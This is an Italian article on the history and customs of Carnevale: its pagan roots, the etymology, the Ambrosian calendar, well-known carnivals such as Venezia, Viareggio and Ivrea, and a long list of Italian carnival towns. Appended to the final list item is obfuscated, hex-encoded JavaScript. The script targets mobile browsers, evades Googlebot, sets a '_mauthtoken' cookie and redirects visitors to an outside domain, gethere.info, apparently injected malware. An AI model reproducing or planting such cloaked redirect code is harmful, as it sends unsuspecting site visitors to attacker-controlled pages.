Il carnevale è una festa che si celebra nei paesi di tradizione cattolica. I festeggiamenti si svolgono spesso in pubbliche parate in cui dominano elementi giocosi e fantasiosi; in particolare, l’elemento distintivo e caratterizzante del carnevale è l’uso del mascheramento.

Benché presente nella tradizione cattolica, i caratteri della celebrazione del Carnevale hanno origini in festività ben più antiche, come per esempio le dionisiache greche (le antesterie) o i saturnali romani.

Durante le feste dionisiache e i saturnali si realizzava un temporaneo scioglimento dagli obblighi sociali e dalle gerarchie per lasciar posto al rovesciamento dell’ordine, allo scherzo e anche alla dissolutezza.

Da un punto di vista storico e religioso il carnevale rappresentò, dunque, un periodo di festa ma soprattutto di rinnovamento simbolico, durante il quale il caos sostituiva l’ordine costituito, che però una volta esaurito il periodo festivo, riemergeva nuovo o rinnovato e garantito per un ciclo valido fino all’inizio del carnevale seguente. Il ciclo preso in considerazione è, in pratica, quello dell’anno solare.

Le cerimonie carnevalesche, diffuse presso i popoli Indoeuropei, mesopotamici, nonché di altre civiltà, hanno perciò anche una valenza purificatoria e dimostrano il “bisogno profondo di rigenerarsi periodicamente abolendo il tempo trascorso.

La confusione delle forme è illustrata dallo sconvolgimento delle condizioni sociali (nei Saturnali lo schiavo è promosso padrone, il padrone serve gli schiavi; in Mesopotamia si deponeva e si umiliava il re, ecc.), dalla sospensione di tutte le norme, ecc. Lo scatenarsi della licenza, la violazione di tutti i divieti, la coincidenza di tutti i contrari, ad altro non mirano che alla dissoluzione del mondo, ed alla restaurazione dell’illud tempus primordiale (“quel tempo”, il Grande Tempo mitico e a – storico delle origini), che è evidentemente il momento mitico del principio  e della fine
Il carnevale si inquadra quindi in un ciclico dinamismo di significato mitico: è la circolazione degli spiriti tra cielo, terra e inferi.

Il Carnevale riconduce a una dimensione metafisica che riguarda l’uomo e il suo destino. In primavera, quando la terra comincia a manifestare la propria energia, il Carnevale segna un passaggio aperto tra gli inferi e la terra abitata dai vivi (anche Arlecchino ha una chiara origine infera). Le anime, per non diventare pericolose, devono essere onorate e per questo si prestano loro dei corpi provvisori: essi sono le maschere, in quanto chi le indossa assume le caratteristiche dell’essere ” soprannaturale ” rappresentato.

Nella tradizione carnevalesca, vengono ricostituiti (nuova Creazione) con un rituale di carattere purificatorio comprendente un “processo”, una “condanna”, la lettura di un “testamento” e un “funerale” del carnevale,  il quale spesso comporta il bruciamento del “Re carnevale” rappresentato da un fantoccio (altre volte l’immagine – simbolo del carnevale è annegata o decapitata). Tale cerimonia avviene in molte località italiane, europee ed extraeuropee.

Nel XV e XVI secolo, a Firenze i Medici organizzavano grandi mascherate su carri chiamate “trionfi” e accompagnate da canti carnascialeschi, cioè canzoni a ballo di cui anche Lorenzo il Magnifico fu autore. Celebre è il Trionfo di Bacco e Arianna scritto proprio da Lorenzo il Magnifico.

Nella Roma del governo papalino si svolgevano invece la corsa dei barberi (cavalli da corsa) e la “gara dei moccoletti” accesi che i partecipanti cercavano di spegnersi reciprocamente.

La parola carnevale deriva dal latino “carnem levare” (“eliminare la carne”) poiché anticamente indicava il banchetto che si teneva l’ultimo giorno di carnevale (martedì grasso), subito prima del periodo di astinenza e digiuno della Quaresima.

Le prime testimonianze dell’uso del vocabolo “carnevale” (detto anche “carnevalo”) vengono dai testi del giullare Matazone da Calignano alla fine del XIII secolo e del novelliere Giovanni Sercambi verso il 1400.

Il Carnevale non termina ovunque il Martedì grasso:

fanno eccezione :

il Carnevale di Viareggio,

il Carnevale di Ovodda,

il carnevale di Poggio Mirteto,

il carnevale di Borgosesia,

il Carnevalone di Chivasso.

Anche il Carnevale di Foiano della Chiana, termina la domenica dopo le Ceneri.

In diversi Carnevali il martedì grasso si rappresenta, spesso con un falò, la “morte di Carnevale”.

Il Carnevale di Venezia, il Carnevale di Viareggio, lo Storico Carnevale di Ivrea e in Sicilia il Carnevale di Acireale e il Carnevale di Sciacca e il carnevale di Fano nelle marche, sono considerati tra i più importanti al mondo. La loro fama, difatti, travalica i confini nazionali e sono in grado di attrarre turisti sia dall’Italia che dall’estero.

Il Carnevale più lungo d’Italia è però quello di Putignano.

Uno dei carnevali più antichi d’Italia arrivato ai giorni nostri è il Carnevale di Verona, risalente al tardo medioevo e il cui nome originale è Bacanàl del Gnoco.

Il Carnevale di Venezia è conosciuto per la bellezza dei costumi, lo sfarzo dei festeggiamenti nella magica atmosfera della Laguna e consta di diversi giorni fitti di manifestazioni di svariato tipo: mostre d’arte, sfilate di moda, spettacoli teatrali ecc.
Il Carnevale di Viareggio ha origine nel 1873 ed è uno dei più importanti e maggiormente apprezzati carnevali a livello internazionale.  A caratterizzarlo sono i carri allegorici più o meno grandi che sfilano nelle domeniche fra gennaio e febbraio e sui quali troneggiano enormi caricature in cartapesta di uomini famosi nel campo della politica, della cultura o dello spettacolo, i cui tratti caratteristici, specialmente quelli somatici, vengono sottolineati con satira e ironia.

Lo Storico Carnevale di Ivrea, famoso per il suo momento culminante della Battaglia delle Arance, è invece considerato uno tra i più antichi e particolari al mondo, seguendo un cerimoniale più volte modificatosi nel corso dei secoli. L’intero carnevale ha il pregio di rappresentare, sotto forma di allegoria, la rivolta dei cittadini per la libertà dal tiranno della città, probabilmente Ranieri di Biandrate, ucciso dalla Mugnaia su cui si apprestava a esercitare lo jus primae noctis. Fu quell’evento a innescare la guerra civile rappresentata dalla battaglia tra il popolo e le truppe reali che viene rievocata durante il carnevale, dove le squadre di Aranceri a piedi (ossia il popolo) difendono le loro piazze dagli aranceri su carri (ossia l’esercito) a colpi di arance a rappresentare le frecce, mentre tra le vie della città sfila il corteo della Mugnaia che lancia dolci e regali alla popolazione.

Il Carnevale di Sciacca rinomato per la bellezza delle sue opere in cartapesta realizzate dai locali maestri ceramisti, è il carnevale più antico di Sicilia, con origini che risalgono al periodo romano. Oggi è caratterizzato da sfilate di carri allegorici che percorrono l’antico centro della città accompagnati da gruppi mascherati che danno vita a coreografie realizzate sulle note di musiche a tema.

Famoso è il Carnevale di Acireale, comunemente definito “il più bel Carnevale di Sicilia” per la bellezza dei suoi carri allegorici e infiorati. Esso è frequentato da numerosi forestieri, i quali approfittano di questa festa popolare per visitare o rivisitare i monumenti della città barocca.

In Sicilia si ricorda ancora il Carnevale di Paternò del secondo dopoguerra, che dall’Epifania al martedì Grasso attirava masse di pubblico in cerca di divertimento da varie province, invadendo l’intera città, trasformata in una enorme balera all’aperto, sotto una fantasmagorica illuminazione artistica. Infatti esso era caratteristico non solo per le varie sfilate (di gruppi in maschera, macchine infiorate e carri allegorici notevoli per grandezza e bellezza) che si svolgevano negli ultimi tre giorni ed erano dotate di ricchi premi in denaro, ma anche per la possibilità data a tutti di ballare per le vie e le piazze, oltre che nei ritrovi notturni, mediante musiche diffuse da altoparlanti, tutti i giorni fino a mezzanotte, esclusi i venerdì (in cui non c’erano né musiche né balli). Erano vietate le allegorie politiche e religiose. Un’altra caratteristica era quella che per scherzo di Carnevale le persone mascherate potevano “impegnare” quelle non mascherate e ballare insieme o farsi pagare consumazioni al bar, mentre si potevano intrecciare relazioni amorose, magari senza mai conoscere l’identità della controparte in maschera. In quel periodo nessun tipo di reato veniva commesso: e questo era l’unico divertimento di tutto l’anno, tanto che il Carnevale di Paternò era detto “il più divertente Carnevale di Sicilia”.

La Puglia è la regione italiana con il maggior numero di manifestazioni abbinate al carnevale: il già citato Carnevale di Putignano, Carnevale di Massafra, Carnevale di Gallipoli, Carnevale Dauno a Manfredonia e il Carnevale Terranovese a Poggio Imperiale.

In Basilicata è molto conosciuto il Carnevale estivo di Laurenzana in provincia di Potenza. Evento nato per promuovere le bellezze monumentali (Castello del XII secolo, Chiesa madre, Convento benedettino ecc.) e paesaggistiche (l’Abetina di Laurenzana conosciuta per la presenza dell’Abete Bianco). Si festeggia il primo sabato dopo ferragosto.

Molto importante per la regione lucana risulta essere il Carnevale di Lavello. La maschera tradizionale della città risulta essere il Domino. Ogni sabato fino al sabato successivo al mercoledì delle ceneri si festeggia questo carnevale con grandi balli. L’ultimo sabato del carnevale lavellese è segnato dalla tradizionale rottura della pentolaccia.

A Oristano, nell’isola di Sardegna, si svolge, durante gli ultimi tre giorni di carnevale, la splendida giostra mascherata a cavallo, denominata Sa Sartiglia. Durante la quale i cavalieri si sfidano in bravura ad infilzare una stella forata al centro, nonché realizzando spettacolari acrobazie sopra i cavalli lanciati al galoppo sfrenato.

Dove si osserva il rito ambrosiano, ovvero nella maggior parte delle chiese dell’arcidiocesi di Milano e in alcune delle diocesi vicine, la Quaresima inizia con la prima domenica di Quaresima; l’ultimo giorno di carnevale è il sabato, 4 giorni dopo rispetto al martedì in cui termina dove si osserva il rito romano.

La tradizione vuole che il vescovo sant’Ambrogio fosse impegnato in un pellegrinaggio e avesse annunciato il proprio ritorno per carnevale, per celebrare i primi riti della Quaresima in città. La popolazione di Milano lo aspettò prolungando il carnevale sino al suo arrivo, posticipando il rito delle Ceneri che nell’arcidiocesi milanese si svolge la prima domenica di Quaresima.

In realtà la differenza è dovuta al fatto che anticamente la Quaresima iniziava dappertutto di domenica, i giorni dal mercoledì delle Ceneri alla domenica successiva furono introdotti nel rito romano per portare a quaranta i giorni di digiuno effettivo, tenendo conto che le domeniche non erano mai stati giorni di digiuno.
Questo carnevale, presente con diverse tradizioni anche in altre parti dell’Italia, prende il nome di carnevalone.

Tradizionalmente nei paesi cattolici, il Carnevale ha inizio con la Domenica di Settuagesima (la prima delle nove che precedono la Settimana Santa secondo il calendario Gregoriano e finisce il martedì precedente il Mercoledì delle Ceneri che segna l’inizio della Quaresima.

Il momento culminante si ha dal Giovedì grasso fino al martedì, ultimo giorno di Carnevale (Martedì grasso).

Questo periodo, essendo collegato con la Pasqua che  non ha ricorrenza annuale fissa ma variabile.

In realtà la Pasqua Cattolica può cadere dal 22 marzo al 25 aprile (Calcolo della Pasqua) e intercorrono 46 giorni tra il mercoledì delle Ceneri e Pasqua. Ne deriva che in anni non bisestili martedì grasso cade dal 3 febbraio al 9 marzo. Per questo motivo i principali eventi si concentrano in genere tra i mesi di febbraio e marzo.

Per la Chiesa cattolica il Tempo di Carnevale è detto anche Tempo di Settuagesima. Essa considera il Carnevale (Settuagesima) come un momento per riflettere e riconciliarsi con Dio. Si celebrano le Sante Quarantore (o carnevale sacro), che si concludono, con qualche ora di anticipo, la sera dell’ultima domenica di carnevale.

La Chiesa cattolica ha però, durante il corso della storia, condannato il Carnevale in quanto contrario ai dettami di rigore imposto dall’istituzione stessa. Secondo antiche tradizioni il Carnevale durava l’intero periodo invernale, dal giorno di commemorazione dei defunti sino al primo giorno di Quaresima e il travestimento serviva non a nascondere la propria identità sebbene a rimandarne a un’altra.

Il carnevale italiano è stato il tema portante della Cerimonia di chiusura dei XX Giochi olimpici invernali tenutasi il 26 febbraio 2006 presso lo Stadio Olimpico di Torino (già Stadio Comunale).

Uno show seguito da circa 800 milioni di telespettatori che ha visto protagoniste le maschere del Carnevale di Viareggio e le icone della tradizione italiana.

 

I Carnevali italiani:

Il Carnevale di Venezia, il più importante d’Italia;

Carnevale di Viareggio, i carri più grandi del mondo;

Carnevale di Palazzolo Acreide (SR) (il più antico carnevale di Sicilia);

Carnevale a Mare, Fiumicino (RM);
Carnevale d’Abruzzo, Francavilla al Mare (CH);
Carnevale di Acconia di Curinga, (CZ);
Carnevale di Acireale, (CT);
Carnevale di Acquedolci, (ME);
Carnevale di Acquapendente, (VT);
Carnevale di Acquasparta, (TR);
Carnevale di Agropoli, (SA);
Carnevale di Alba Adriatica, Alba Adriatica (TE);
Carnevale di Albenga, (SV);
Carnevale della Valle dell’Alcantara, Francavilla di Sicilia (ME);
Carnevale di Amantea, Amantea (CS);
Carnevale Ambrosiano, di Milano;
Carnevale di Arenzano, Arenzano (GE);
Carnevale Aretino Orciolaia, di Arezzo;
Carnevale di Asciano, (SI);
Carnevale di Ascoli Piceno;
Carnevale astigiano, (AT);
Carnevale di Bagolino, (BS);
Carnevale di Bonorva, Bonorva (SS);
Carnevale di Borgosesia, (VC);
Carnevale di Bosa, Bosa (OR);
Carnevale di Bovolone (VR);
Carnevale di Busseto (PR);
Carnevale di Calvi Risorta (CE);
Carnevale di Canosa di Puglia (BT);
Carnevale di Capua (CE);
Carnevale di Carpi (MO);
Carnevale di Canicattì (AG);
Carnevale di Capaccio (SA);
Carnevale di Carignano (TO);
Carnevale di Carpenedolo (BS);
Carnevale di Carpi (MO);
Carnevale di Castel Goffredo (MN);
Carnevale di Castellana Sicula (PA);
Carnevale di Castelnovo di Sotto (RE);
Carnevale di Castelvetere sul Calore (AV);
Carnevale di Castrovillari (CS);
Carnevale di Cavezzo (MO);
Carnevale d’Amare Catanzaro e Soverato (CZ);
Carnevale di Cecina (LI);
Carnevale di Cegni (PV);
Carnevale di Cento (FE);
Carnevale di Ceggia (VE);
Carnevale di Chivasso (TO);
Carnevale di Cinisi (PA);
Cittanova (RC);
Carnevale di Civita Castellana (VT);
Carnevale Civitellese a Civitella di Romagna (FC);
Carnevale Cremasco di Crema (CR);
Carnevale Storico Crescentinese di Crescentino (VC);
Carnevale Dauno di Manfredonia (FG);
Carnevale di Decima di San Matteo della Decima BO;
Carnevale di Dicomano (FI);
Carnevale di Erbusco (BS);
Carnevale di Fano (PU);
Carnevale dei Fantaveicoli di Imola;
Carnevale di Ferrara;
Carnevale di Fiumicino (RM);
Carnevale di Foiano della Chiana (AR);
Carnevale di Follonica;
Carnevale di Fonni (NU);
Carnevale di Fossa (MO);
Carnevale di Frosinone Festa della Radeca;
Carnevale di Gallipoli (LE);
Carnevale di Gattinara (VC);
Carnevale di Gambettola (FC);
Carnevale Occitano di Guardia Piemontese Provincia di Cosenza;
Carnevale di Gela;
Carnevale Guspinese di Guspini (VS);
Carnevale di Ivrea;
Carnevale di Larino;
Carnevale di Latina;
Carnevale di Leonforte (EN);
Carnevale delle Madonie (Castellana Sicula);
Carnevale di Macerata;
Carnevale di Malo;
Carnevale di Mamoiada;
Carnevale di Manfredonia (FG);
Carnevale di Marino (‘U Carnevalone);
Carnevale di Marlia (LU) – CarnevalMarlia;
Carnevale di Marrubiu (Su Marrulleri) (OR);
Carnevale di Massafra (TA);
Carnevale di Melilli (SR);
Carnevale di Mezzojuso (PA);
Carnevale di Milano;
Carnevale di Misterbianco;
Carnevale di Modena;
Carnevale di Mondovì (CN) – Carlevé ‘d Mondvì;
Carnevale di Monfalcone;
Carnevale di Montefiore dell’Aso (AP);
Carnevale di Monteforte d’Alpone (VR) – Carnevalon de l’Alpon;
Carnevale di Montemarano;
Carnevale di Muggia;
Carnevale di Offida;
Carnevale storico di Ormea (CN);
Carnevale di Ottana (NU);
Sartiglia a Oristano;
Carnevale di Ovodda (NU);
Carnevale di Palma Campania;
Carnevale Palmese (NA);
Carnevale di Palmi (RC);
Carnevale di Paternò;
Carnevale di Paternopoli (AV);
Carnevale di Piombino (LI);
Carnevale di Poggio Mirteto;
Carnevale di Polistena (RC) – versione invernale ed estiva;
Carnevale del Pollino – Castrovillari (CS);
Carnevale di Pontecorvo (FR);
Carnevale di Pontey (AO);
Carnevale di Positano (SA);
Carnevale di Putignano;
Carnevale di Ravanusa (AG);
Carnevale dei Ragazzi di Sant’Eraclio di Foligno (PG);
Carnevale di Regalbuto;
Lachera di Rocca Grimalda (AL);
Carnevale di Roma (RM);
Carnevale di Ronciglione;
Carnevale di Samassi;
Carnevale di San Gavino Monreale;
Carnevale Storico Persicetano (Bologna);
Carnevale di San Mauro Pascoli (FC);
Carnevale di San Pietro in Casale;
Carnevale di Santa Croce sull’Arno (PI);
Carnevale di Sant’Antonio Abate (NA);
Carnevale di Sant’Egidio alla Vibrata (TE);
Carnevale Storico di Santhià (VC);
Carnevale di Saviano (NA);
Carnevale di Schignano (CO);
Carnevale di Sciacca (AG);
Carnevale di Striano (NA);
Carnevale Teurianovese;
Carnevale di Tempio Pausania;
Carnevale di Termini Imerese (PA);
Carnevale Terranovese di Poggio Imperiale (FG);
Carnevale di Tiana (NU) (Coli-Coli);
Carnevale di Tivoli;
Carnevale di Torino (Carlevé ëd Turin);
Carnevale di Trezzo sull’Adda (MI);
Carnevale di Tricarico (Lucania);
Carnevale di Ulassai (OG) Su Maimulu;
Carnevale di Valderice (TP);
Carnevale di Varallo (VC);
Carnevale di Varese (VA);
Carnevale di Vecchiano (PI);
Carnevale di Velletri (RM);
Carnevale del Veneto – Casale di Scodosia (PD);
Carnevale di Verona;
Carnevale di Villa Literno;
Carnevale di Pedagaggi.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}